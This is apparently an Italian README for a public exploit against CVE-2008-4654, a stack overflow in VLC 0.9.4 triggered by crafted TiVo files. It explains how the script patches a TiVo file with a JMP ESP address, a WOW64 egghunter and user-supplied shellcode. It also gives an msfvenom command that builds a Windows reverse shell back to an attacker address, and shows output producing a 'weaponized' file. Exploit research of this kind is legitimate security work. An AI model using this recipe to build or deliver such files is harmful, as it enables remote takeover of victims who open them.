CVE-2008-4654

Un exploit completamente funzionante per la vulnerabilità di buffer overflow basato su stack CVE-2008-4654 nel VLC Media Player 0.9.4 di VideoLan durante l'elaborazione dei file TiVo. Prende di mira un binario a 32 bit in esecuzione su un sistema Windows a 64 bit e utilizza un egghunter WOW64 per aggirare lo spazio di stack limitato.

Uso

Aggiorna lo script:

• Sostituisci il segnaposto buf = b'[...]' nello script con il tuo shellcode (ad es. da msfvenom).
• Facoltativamente, modifica lo shellcode EGG_HUNTER_WOW64 se desideri un tag diverso o hai un egghunter personalizzato.

python .\CVE-2008-4654.py --help

CVE-2008-4654 - VLC v0.9.4 Tivo Stack Buffer Overflow - by Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)

usage: CVE-2008-4654.py [-h] --input INPUT --output OUTPUT

Transform a given TiVo file into a weapon with predefined shellcode.

options:
  -h, --help       show this help message and exit
  --input INPUT    Path to the input TiVo file to be weaponized.
  --output OUTPUT  Path where the modified (weaponized) TiVo file will be saved.

Come Funziona

• Lo script cerca uno specifico pattern di byte (TIVO_PES_FILEID) nel file TiVo.
• Sovrascrive un campo di 4 byte (20 byte dopo il pattern) con b"\x00\x00\x00\xff", che prepara la lettura fuori dai limiti che porta a un overflow dello stack.
• Sostituisce quindi un'altra regione (92 byte dopo TIVO_PES_FILEID) con un payload personalizzato.
• Il payload include:
  • Un indirizzo JMP ESP che dirige l'esecuzione verso lo stack.
  • Un egghunter specifico per WOW64 che scansiona la memoria alla ricerca del marcatore w00tw00t.
  • Un ampio payload shellcode definito dall'utente (il secondo stadio) posizionato dopo il marcatore, oltre lo spazio di stack limitato.
• Quando VLC elabora il file TiVo modificato, alla fine attiva l'overflow ed esegue l'egghunter. L'egghunter trova lo shellcode completo e lo esegue, aggirando i limiti di dimensione dello stack.

Esempio

Generazione del payload

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.10.150 LPORT=6666 -a x86 -f python -b '\x00'

Creazione del file TiVo

• Sostituisci il segnaposto buf = b'[...]' con lo shellcode creato in precedenza.
• Scarica un file TiVo di esempio da https://samples.mplayerhq.hu/TiVo/.

PS C:\ > python .\CVE-2008-4654.py --input .\test.ty --output .\hazard.ty

CVE-2008-4654 - VLC v0.9.4 Tivo Stack Buffer Overflow - by Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)

[+] Found TIVO_PES_FILEID at offset 0x300000.
[+] Replaced 4 bytes at offset 0x300014 with 0x000000ff.
[+] Replaced 685 bytes at offset 0x30005c.
[+] Successfully weaponized: .\hazard.ty

Note

• L'exploit funziona solo su Windows x64 a causa dell'egghunter WOW64. Un approccio puramente x86 richiederebbe un egghunter standard adatto ai sistemi a 32 bit.
• Non ci sono caratteri problematici importanti oltre a \x00 per questo specifico vettore, semplificando la generazione del payload.
• Per un approfondimento sull'egghunting e le complessità di WOW64, consulta l'articolo di Corelan sull'egghunter WOW64 e il documento di Matt (Skape) Miller.

Risorse

• https://nostarch.com/bughunter
• https://nvd.nist.gov/vuln/detail/CVE-2008-4654
• https://hexastrike.com/resources/blog/exploit-development/vlc-stack-based-buffer-overflow-exploiting-cve-2008-4654-with-a-wow64-egghunter/
• https://www.corelan.be/index.php/2011/11/18/wow64-egghunter/
• https://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
• https://samples.mplayerhq.hu/TiVo/